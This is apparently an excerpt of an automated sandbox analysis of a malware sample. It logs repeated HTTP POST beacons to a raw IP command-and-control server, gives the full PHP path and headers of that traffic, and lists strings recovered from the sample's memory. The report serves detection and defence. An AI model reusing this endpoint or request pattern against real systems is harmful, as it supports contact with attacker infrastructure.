                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 1884Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownTCP traffic detected without corresponding DNS query: 193.233.115.185
                          Source: unknownHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 336Expect: 100-continueConnection: Keep-Alive
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005F36000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005C7C000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004552000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.00000000059F6000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.00000000053E5000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005B70000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005FBB000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005DDA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://193.233.115.185
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000002E31000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://193.233.115.185/Dle0protectTemp/externalprotect/
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005F36000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005C7C000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004552000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.00000000059F6000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.00000000053E5000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005B70000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005FBB000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005DDA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://193.233.115.185/Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.ph
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000005FBB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://193.233HJ
                          Source: qyKnQ3XZNg.exe, 00000005.00000002.1759312651.0000000002BC6000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000002E31000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.coml
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/?
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers8
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers?
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designersG
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fonts.com
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn/bThe
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn/cThe
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.galapagosdesign.com/DPlease
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.goodfont.co.kr
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sajatypeworks.com
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sakkal.com
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sandoll.co.kr
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.tiro.com
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.typography.netD
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.urwpp.deDPlease
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4313367104.000000001F072000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.zhongyicts.com.cn
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000138D2000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000139CA000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001448F000.00000004.00000800.00020000.00000000.sdmp, EnpqKavO8a.11.dr, mCh1L6KvL6.11.dr, pvWgSbfpvI.11.dr, myLGwzOrQI.11.dr, VlyurvLbwq.11.dr, SUERaYG9oO.11.dr, 2tzsql4ju6.11.dr, QPtM96Y9ZF.11.dr, WImLYB1UD6.11.dr, pJhN0EJubK.11.dr, sillPopu0p.11.dr, rZlDxRN17X.11.dr, RXIpbTZtye.11.dr, tX4hc1gdBn.11.dr, eR0K4tWJqw.11.dr, Tvx2NuFI3a.11.dr, AAfftWi070.11.dr, J5KWtpUil3.11.drString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000138D2000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000139CA000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001448F000.00000004.00000800.00020000.00000000.sdmp, EnpqKavO8a.11.dr, mCh1L6KvL6.11.dr, pvWgSbfpvI.11.dr, myLGwzOrQI.11.dr, VlyurvLbwq.11.dr, SUERaYG9oO.11.dr, 2tzsql4ju6.11.dr, QPtM96Y9ZF.11.dr, WImLYB1UD6.11.dr, pJhN0EJubK.11.dr, sillPopu0p.11.dr, rZlDxRN17X.11.dr, RXIpbTZtye.11.dr, tX4hc1gdBn.11.dr, eR0K4tWJqw.11.dr, Tvx2NuFI3a.11.dr, AAfftWi070.11.dr, J5KWtpUil3.11.drString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000138D2000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000139CA000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001448F000.00000004.00000800.00020000.00000000.sdmp, EnpqKavO8a.11.dr, mCh1L6KvL6.11.dr, pvWgSbfpvI.11.dr, myLGwzOrQI.11.dr, VlyurvLbwq.11.dr, SUERaYG9oO.11.dr, 2tzsql4ju6.11.dr, QPtM96Y9ZF.11.dr, WImLYB1UD6.11.dr, pJhN0EJubK.11.dr, sillPopu0p.11.dr, rZlDxRN17X.11.dr, RXIpbTZtye.11.dr, tX4hc1gdBn.11.dr, eR0K4tWJqw.11.dr, Tvx2NuFI3a.11.dr, AAfftWi070.11.dr, J5KWtpUil3.11.drString found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000138D2000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000139CA000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001448F000.00000004.00000800.00020000.00000000.sdmp, EnpqKavO8a.11.dr, mCh1L6KvL6.11.dr, pvWgSbfpvI.11.dr, myLGwzOrQI.11.dr, VlyurvLbwq.11.dr, SUERaYG9oO.11.dr, 2tzsql4ju6.11.dr, QPtM96Y9ZF.11.dr, WImLYB1UD6.11.dr, pJhN0EJubK.11.dr, sillPopu0p.11.dr, rZlDxRN17X.11.dr, RXIpbTZtye.11.dr, tX4hc1gdBn.11.dr, eR0K4tWJqw.11.dr, Tvx2NuFI3a.11.dr, AAfftWi070.11.dr, J5KWtpUil3.11.drString found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000138D2000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000139CA000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001448F000.00000004.00000800.00020000.00000000.sdmp, EnpqKavO8a.11.dr, mCh1L6KvL6.11.dr, pvWgSbfpvI.11.dr, myLGwzOrQI.11.dr, VlyurvLbwq.11.dr, SUERaYG9oO.11.dr, 2tzsql4ju6.11.dr, QPtM96Y9ZF.11.dr, WImLYB1UD6.11.dr, pJhN0EJubK.11.dr, sillPopu0p.11.dr, rZlDxRN17X.11.dr, RXIpbTZtye.11.dr, tX4hc1gdBn.11.dr, eR0K4tWJqw.11.dr, Tvx2NuFI3a.11.dr, AAfftWi070.11.dr, J5KWtpUil3.11.drString found in binary or memory: https://duckduckgo.com/ac/?q=
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000138D2000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000139CA000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001448F000.00000004.00000800.00020000.00000000.sdmp, EnpqKavO8a.11.dr, mCh1L6KvL6.11.dr, pvWgSbfpvI.11.dr, myLGwzOrQI.11.dr, VlyurvLbwq.11.dr, SUERaYG9oO.11.dr, 2tzsql4ju6.11.dr, QPtM96Y9ZF.11.dr, WImLYB1UD6.11.dr, pJhN0EJubK.11.dr, sillPopu0p.11.dr, rZlDxRN17X.11.dr, RXIpbTZtye.11.dr, tX4hc1gdBn.11.dr, eR0K4tWJqw.11.dr, Tvx2NuFI3a.11.dr, AAfftWi070.11.dr, J5KWtpUil3.11.drString found in binary or memory: https://duckduckgo.com/chrome_newtab
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000138D2000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000139CA000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001448F000.00000004.00000800.00020000.00000000.sdmp, EnpqKavO8a.11.dr, mCh1L6KvL6.11.dr, pvWgSbfpvI.11.dr, myLGwzOrQI.11.dr, VlyurvLbwq.11.dr, SUERaYG9oO.11.dr, 2tzsql4ju6.11.dr, QPtM96Y9ZF.11.dr, WImLYB1UD6.11.dr, pJhN0EJubK.11.dr, sillPopu0p.11.dr, rZlDxRN17X.11.dr, RXIpbTZtye.11.dr, tX4hc1gdBn.11.dr, eR0K4tWJqw.11.dr, Tvx2NuFI3a.11.dr, AAfftWi070.11.dr, J5KWtpUil3.11.drString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
                          Source: tYfNTC5mXF.11.drString found in binary or memory: https://support.mozilla.org
                          Source: tYfNTC5mXF.11.drString found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004552000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://support.mozilla.org/products/firefox
                          Source: tYfNTC5mXF.11.drString found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000142B1000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000013F3B000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000013C2A000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000015324000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000013D0D000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001519C000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000014356000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000141CD000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000013AA2000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000133E3000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001364F000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000130D2000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001401E000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000154AD000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000140C3000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001325B000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000134C6000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001333E000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000004552000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000015407000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001527F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000013191000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000015177000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001362A000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000013E71000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000153E3000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001552D000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000013236000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000155D2000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000013C05000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000152FF000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000130AD000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000015488000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000141A9000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000013FF9000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.00000000134A1000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001409E000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000014331000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000013A7D000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000013B60000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.0000000014103000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4245654209.000000001428C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
